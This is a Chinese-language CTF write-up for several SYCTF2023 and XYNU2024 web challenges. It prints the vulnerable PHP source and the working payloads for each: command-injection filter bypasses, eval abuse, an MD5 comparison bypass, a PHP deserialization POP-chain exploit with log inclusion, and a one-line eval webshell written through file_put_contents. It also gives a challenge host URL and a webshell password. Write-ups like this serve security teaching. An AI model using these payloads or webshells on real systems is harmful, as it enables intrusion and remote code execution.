SYCTF2023
签到
源码

登录
进去直接先登录,但是随便试了几个均错误,以为是sql
,测了下没测出来,然后直接抓包去试了下弱口令爆破,真成了。。。。


访问index.php
,获得flag

宝宝巴士
<?php
$rce = $_GET['rce']; if (isset($rce)) { if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) { system($rce); }else { echo "hhhhhhacker!!!"."\n"; } } else { highlight_file(__FILE__); }
|
GET传参命令执行,先传一个rce=ls
查看flag位置

rce=uniq${IFS}/f??? #uniq用于过滤重复的行;${IFS} 是一个环境变量(内部字段分隔符),默认情况下,IFS 包含空格、制表符和换行符;/f???表示匹配f开头的目录 或 rce=c\at$IFS\../../../../../../../f\lag #反斜杠绕过,../表示相对路径
|

rce
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?>
|
payload c=system('ls'); #flag.php index.php c=echo system('cat f\lag.p\hp'); c=eval($_GET[1]);&1=system("cat flag.php"); c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php 挺多姿势的,不过要注意除最后一个payload,其他都是在注释中,查看源码即可
|
XYNU2024信安杯
哎~想她了
ctrl+u看源码,发现又没踩坑

根据提示访问f14g.php
<?php
highlight_file(__FILE__); error_reporting(0); $a = $_GET['fj1']; $b = $_GET['fj2']; if($a!==$b&&md5($a)===md5($b)){ if(isset($_GET['cmd'])){ $cmd = $_GET['cmd']; if(!preg_match("/\;|cat|flag|[0-9]|\\$|\*|more|system|exec|tac/i", $cmd)){ system($cmd); } else{ die("哎~就差一点儿~我就可以拉到她的手~"); } } } else{ echo "哎~想她了~"; } ?>
|
先让a和b弱比较为0或者数组绕过
fj1=QNKCDZO&fj2=240610708 fj1[]=1&fj2[]=2
|
第二层less未被过滤,直接cmd=less /fla?
绕过
fj1[]=1&fj2[]=2&cmd=less /fla?
|
Can_can_need
扫目录发现www.zip,直接下载,获得源码文件
(在解压时直接报火绒了,发现马,那直接连就行)

http://gz.imxbt.cn:20296/js/cancanneed.php 密码cancanword 蚁剑连就行
|
Ez_serial
<?php highlight_file(__FILE__); error_reporting(0);
class artifact{ public $excalibuer; public $arrow; public function __toString(){ echo "how to bypass?"; return $this->excalibuer->arrow; } }
class prepare{ public $release; public function __get($key){ $functioin = $this->release; echo "prepare to hack"; return $functioin(); } } class hacking{ public $weapon; public function __invoke(){ echo "win!"; include($this->weapon); } } class summon{ public $Hacker; public $Rider;
public function __wakeup(){ echo "start hacking"; echo $this->Hacker; } }
if(isset($_GET['payload'])){ unserialize($_GET['payload']); } ?>
|
先知道用到的几种魔术方法
__toString:当一个对象被当作一个字符串被调用,把类当作字符串使用时触发。
__get():用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
__invoke:当脚本尝试将对象调用为函数时触发
__wakeup:调用unserialize()时触发
首先肯定是传参payload,那么pop链可以如下构造
summon::__wakeup(调用Hacker时将类artifact当作字符串触发其中__toString) -> artifact::__toString(尝试访问excalibuer对象的arrow属性,如果没有该属性,则可触发__get方法) -> prepare::__get(调用release这个函数,可将release当作对象hacking,触发其中__invoke) -> hacking:::__invoke(包含weapon这个文件,即可实现文件包含)
|
exp如下
<?php
class artifact{ public $excalibuer; public $arrow; }
class prepare{ public $release; } class hacking{ public $weapon; } class summon{ public $Hacker; public $Rider; }
$h = new hacking(); $h->weapon="/var/log/nginx/access.log";
$p = new prepare(); $p->release = $h;
$a = new artifact(); $a->excalibuer = $p;
$s = new summon(); $s->Hacker = $a;
$payload = serialize($s); echo $payload; ?>
|
payload=O:6:"summon":2:{s:6:"Hacker";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:7:"hacking":1:{s:6:"weapon";s:25:"/var/log/nginx/access.log";}}s:5:"arrow";N;}s:5:"Rider";N;}
|
可以日志注入,蚁剑连接,根目录下找到flag
Ez_htaccess
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>
|
主要对content和filename进行检测,但是感觉可以直接写马进去
content=<?php eval($_POST[123]);?>&filename=a.php
|
蚁剑连接秒了,但是感觉是非预期,毕竟严重和题目不符